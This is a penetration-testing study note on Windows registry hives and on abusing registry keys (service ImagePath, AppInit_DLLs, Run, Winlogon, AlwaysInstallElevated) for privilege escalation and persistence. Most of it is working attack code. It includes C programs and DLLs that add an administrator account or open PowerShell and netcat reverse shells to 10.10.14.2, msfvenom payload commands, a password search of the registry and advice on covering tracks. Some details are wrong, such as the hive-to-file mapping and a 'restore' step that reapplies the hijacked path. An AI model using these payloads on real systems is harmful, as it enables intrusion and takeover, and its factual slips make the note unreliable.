Registry Hives & Critical Registry Paths
https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives
https://googleprojectzero.blogspot.com/2024/04/the-windows-registry-adventure-1.html
https://scorpiosoftware.net/2022/04/15/mysteries-of-the-registry/
17.11.1 - Registry Hives
The Windows registry is a hierarchical database structure following a tree-like data structure into registry hives . It stores low-level settings for the operating system and applications.
Each hive is made up of multiple keys and values and these hives are stored as files on the system. These data sources are very useful for threat intelligence as they can be used as Indicators of Compromise (IOC) for specific malware.
In each node of the data structure (tree) will have different names and values
Basics of Registry hives at 17.9 - Files with Sensitive Data
There are five hives, and these are:
- HKCR: HKEY_CLASSES_ROOT
- HKLM: HKEY_LOCAL_MACHINE
- HKU: HKEY_USERS
- HKCU: HKEY_CURRENT_USER
- HKCC: HKEY_CURRENT_CONFIG
For each hive, we have a respective file:
- HKCR:
C:\Windows\System32\Config\Software - HKLM:
C:\Windows\System32\Config\SYSTEM - HKU:
C:\Windows\System32\Config\DEFAULT - HKCU:
C:\Users\<UserName>\NTUSER.DAT - HKCC:
C:\Windows\System32\Config\SystemProfile
17.11.2 - Critical Registry Paths
Certain registry paths could lead to security risks if mis-configured. As they can be abused to obtain privilege escalation. Note these are not all of the sensitive registry paths, just the most common ones. The threat model, in our case, the question is what if an attacker could modify any of the 4 following registry paths?
17.11.3 - Critical Registry Hives - HKLM\SYSTEM\CurrentControlSet\Services
Services are a common target for privilege escalation that was already covered in:
Check the Weak Service Permissions and Unquoted Service Path sections.
If you can change this registry, you don't need to have access to the bin path of the service, which lives at the service configuration level. The image path lives at the registry level.
Primarily, by having write access to the registry path
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
Also check this
reg query HKLM /f password /t REG_SZ /s
It is possible to change the imagePath attribute of arbitrary services. This attribute is used to determine the executable to start when the service is started.
To modify the service, test the following, note we specify the path, then we modify the attribute of the service (ImagePath) with a new value. Then next time we activate the service, we execute the new binary and not the original one. Having access to the registry path allows for hijacking of each service they have access to.
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\simpleService" -Name ImagePath -Value "C:\Users\Quickemu\Downloads\test.exe"
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\simpleService"
By modifying the binary with a malicious binary, it is possible to hijack execution. Remember to restart the service.
Restart-Service -Name test
We can use one of these binaries
New user
#include <stdlib.h>
int main() {
system("net user dave3 password123! /add");
system("net localgroup administrators dave3 /add");
return 0;
}
Revshell (PowerShell)
#include <stdlib.h>
int main() {
system("powershell -nop -w hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}\"");
return 0;
}
One with nc.exe (transfer nc to target)
#include <stdlib.h>
int main() {
system("C:\\Users\\<user>\\Desktop\\nc.exe -e cmd.exe 10.10.14.2 4444");
return 0;
}
And this compilation method
x86_64-w64-mingw32-g++ hello.c -static -o hello.exe
Now we modify the ImagePath variable as we did prior, then check it worked
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\simpleService" -Name ImagePath -Value "C:\Users\Quickemu\Downloads\hello.exe"
Note that it'll probably spit out an error, but will execute the code
We can always restore the original to cover tracks
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\simpleService" -Name ImagePath -Value "C:\Users\Quickemu\Downloads\hello.exe"
Restart-Service -Name simpleService
17.11.4 - HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\Windows\AppInit_DLLs
The AppInit_DLLs registry key specifies a list of DLLs that Windows will load into every user-mode application that uses the MS Windows GUI, specifically those that use the Windows subsystem for applications (win32).
Since any DLL listed in the AppInit_DLLs will be loaded by every GUI-based process, this registry key has historically been a target for malicious software. Malware may attempt to use this key to inject its own malicious DLLs into system processes or applications.
As a result, modern versions of Windows have additional protections to restrict or limit the use of AppInit_DLLs, like blocking the use of the key unless a specific setting is configured to allow it.
Dealing with LoadAppInit_DLLs
Significant security risk, you'll likely find it's disabled
Enable
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -Name "LoadAppInit_DLLs" -Value 1
Disable
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -Name "LoadAppInit_DLLs" -Value 0
Read
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -Name "LoadAppInit_DLLs"
Not enabled = safe/not vulnerable
Dealing with AppInit_Dlls
Read
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -Name "AppInit_DLLs"
We can write a DLL in C++ code, this one creates a new admin user.
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain( //DLLMain is the entry point when loading a DLL file
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave3 password123! /add");
i = system ("net localgroup administrators dave3 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
PowerShell revshell
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("powershell -nop -w hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.14.2',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}\"");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
nc revshell
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("C:\\Users\\victim\\Desktop\\nc.exe -e cmd.exe 10.10.14.2 4444");
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Then we can cross-compile the DLL with mingw-64. Define the DLL as a shared library file with -shared.
x86_64-w64-mingw32-gcc example_dll.cpp -shared -o example_dll.dll
Set
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -Name "AppInit_DLLs" -Value "C:\PathTo\Library1.dll;C:\PathTo\Library2.dll;C:\PathTo\Library3.dll"
17.11.5 - HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Run
These keys determine which applications start automatically.
If these are writable by non-privileged users, attackers can add entries to run malicious programs at startup.
HKLM\SOFTWARE\Micosoft\Windows\CurrentVersion\Run
- Affect all users on the system (HKLM)
- Programs listed will run at startup for every user who logs in
- Requires administrator privileges to modify
HKCU\SOFTWARE\Micosoft\Windows\CurrentVersion\Run
- Affects only the currently logged-in user
- Programs listed run only when the specific user logs in
- Can be modified by the user without administrator privileges
There are also RunOnce keys. These instead specify programs that should run only once at the next startup, then the registry entry is deleted.
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
To add new entries (use one of the DLLs mentioned in the other critical registry hives)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "TestProgram" -Value "C:\Users\Quickemu\Downloads\test.exe"
Sign out and back in again, this should cause the exe to execute, as the application starts automatically.
17.11.6 - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
The winlogon registry key is used primarily to configure how Windows interacts with the login process.
This is a little more for persistence than it is privilege escalation
Look for EXEs, modification could mean code execution. Again, use one of the DLLs listed prior.
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Possible value names:
shell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "explorer.exe"
userinit
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "C:\Windows\system32\userinit.exe"
Try setting the WinLogon Shell property to cmd.exe instead
Then log out and back in, this should give us a cmd.exe with no other GUI elements, this is because we've changed the winlogon registry key.
We can increase privileges in this shell with RunAs (PS as privileged user)
Start-Process -FilePath "powershell.exe" -Verb RunAs
Note this will show the Shell variable as cmd.exe, change it to explorer.exe
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "explorer.exe"
Then log off
logoff
Then back in, and we'll have a full desktop environment.
AlwaysInstallElevated
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY*SYSTEM*.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi
Using the msiexec the uac wont be prompted
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated